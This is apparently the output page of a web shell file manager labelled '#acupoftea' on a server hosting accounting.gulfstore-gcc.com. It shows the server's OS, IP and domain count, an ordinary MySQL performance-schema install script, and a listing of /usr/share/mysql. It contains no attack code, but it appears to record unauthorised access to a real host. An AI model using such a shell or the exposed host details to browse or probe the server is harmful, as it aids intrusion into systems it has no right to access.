#acupoftea - accounting.gulfstore-gcc.com

System	:	Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software	:	Apache
Server	:	162.0.230.206
Domains	:	40 Domain
Permission	:	[ drwxr-xr-x ]
	:	/ usr / share / mysql /

216.73.216.141

Home

File mysql_performance_tables.sql

--
-- PERFORMANCE SCHEMA INSTALLATION
-- Note that this script is also reused by mysql_upgrade,
-- so we have to be very careful here to not destroy any
-- existing database named 'performance_schema' if it
-- can contain user data.
-- In case of downgrade, it's ok to drop unknown tables
-- from a future version, as long as they belong to the
-- performance schema engine.
--

set @have_old_pfs= (select count(*) from information_schema.schemata where schema_name='performance_schema');

SET @cmd="SET @broken_tables = (select count(*) from information_schema.tables  where engine != 'PERFORMANCE_SCHEMA' and table_schema='performance_schema')";

-- Work around for bug#49542
SET @str = IF(@have_old_pfs = 1, @cmd, 'SET @broken_tables = 0');
PREPARE stmt FROM @str;
EXECUTE stmt;
DROP PREPARE stmt;

SET @cmd="SET @broken_views = (select count(*) from information_schema.views where table_schema='performance_schema')";

-- Work around for bug#49542
SET @str = IF(@have_old_pfs = 1, @cmd, 'SET @broken_views = 0');
PREPARE stmt FROM @str;
EXECUTE stmt;
DROP PREPARE stmt;

SET @broken_routines = (select count(*) from mysql.proc where db='performance_schema');

SET @broken_events = (select count(*) from mysql.event where db='performance_schema');

SET @broken_pfs= (select @broken_tables + @broken_views + @broken_routines + @broken_events);

--
-- The performance schema database.
-- Only drop and create the database if this is safe (no broken_pfs).
-- This database is created, even in --without-perfschema builds,
-- so that the database name is always reserved by the MySQL implementation.
--

SET @cmd= "DROP DATABASE IF EXISTS performance_schema";

SET @str = IF(@broken_pfs = 0, @cmd, 'SET @dummy = 0');
PREPARE stmt FROM @str;
EXECUTE stmt;
DROP PREPARE stmt;

SET @cmd= "CREATE DATABASE performance_schema character set utf8mb3";

SET @str = IF(@broken_pfs = 0, @cmd, 'SET @dummy = 0');
PREPARE stmt FROM @str;
EXECUTE stmt;
DROP PREPARE stmt;

Name	Type	Size	Permission	Last Modified	Actions
.	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
..	DIR	-	drwxr-xr-x	2025-12-09 10:58:04
bulgarian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
charsets	DIR	-	drwxr-xr-x	2025-11-06 10:59:18
chinese	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
czech	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
danish	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
dutch	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
english	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
estonian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
french	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
german	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
greek	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
hindi	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
hungarian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
italian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
japanese	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
korean	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
norwegian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
norwegian-ny	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
policy	DIR	-	drwxr-xr-x	2025-10-25 05:46:21
polish	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
portuguese	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
romanian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
russian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
serbian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
slovak	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
spanish	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
swedish	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
systemd	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
ukrainian	DIR	-	drwxr-xr-x	2025-11-06 10:59:25
binary-configure	text/x-shellscript	1.13 KB	-rwxr-xr-x	2025-10-25 05:42:16
errmsg-utf8.txt	text/plain	699.67 KB	-rw-r--r--	2025-10-25 05:19:59
fill_help_tables.sql	text/plain	2.06 MB	-rw-r--r--	2025-10-25 05:19:59
magic	text/plain	1.44 KB	-rw-r--r--	2025-10-25 05:20:00
maria_add_gis_sp.sql	text/plain	1.67 KB	-rw-r--r--	2025-10-25 05:42:15
maria_add_gis_sp_bootstrap.sql	text/plain	1.64 KB	-rw-r--r--	2025-10-25 05:42:15
mysql-log-rotate	text/plain	894 B	-rw-r--r--	2025-10-25 05:42:16
mysql.server	text/x-shellscript	12.02 KB	-rwxr-xr-x	2025-10-25 05:42:16
mysql_performance_tables.sql	text/plain	1.91 KB	-rw-r--r--	2025-10-25 05:19:59
mysql_sys_schema.sql	text/plain	605.2 KB	-rw-r--r--	2025-10-25 05:42:16
mysql_system_tables.sql	text/plain	29.86 KB	-rw-r--r--	2025-10-25 05:19:59
mysql_system_tables_data.sql	text/plain	3.25 KB	-rw-r--r--	2025-10-25 05:19:59
mysql_test_data_timezone.sql	text/plain	10.17 KB	-rw-r--r--	2025-10-25 05:19:59
mysql_test_db.sql	text/plain	1.64 KB	-rw-r--r--	2025-10-25 05:19:59
mysqld_multi.server	text/x-shellscript	1.53 KB	-rwxr-xr-x	2025-10-25 05:42:16
wsrep.cnf	text/plain	3.39 KB	-rw-r--r--	2025-10-25 05:42:16
wsrep_notify	text/x-shellscript	4.86 KB	-rwxr-xr-x	2025-10-25 05:42:16

~ ACUPOFTEA - accounting.gulfstore-gcc.com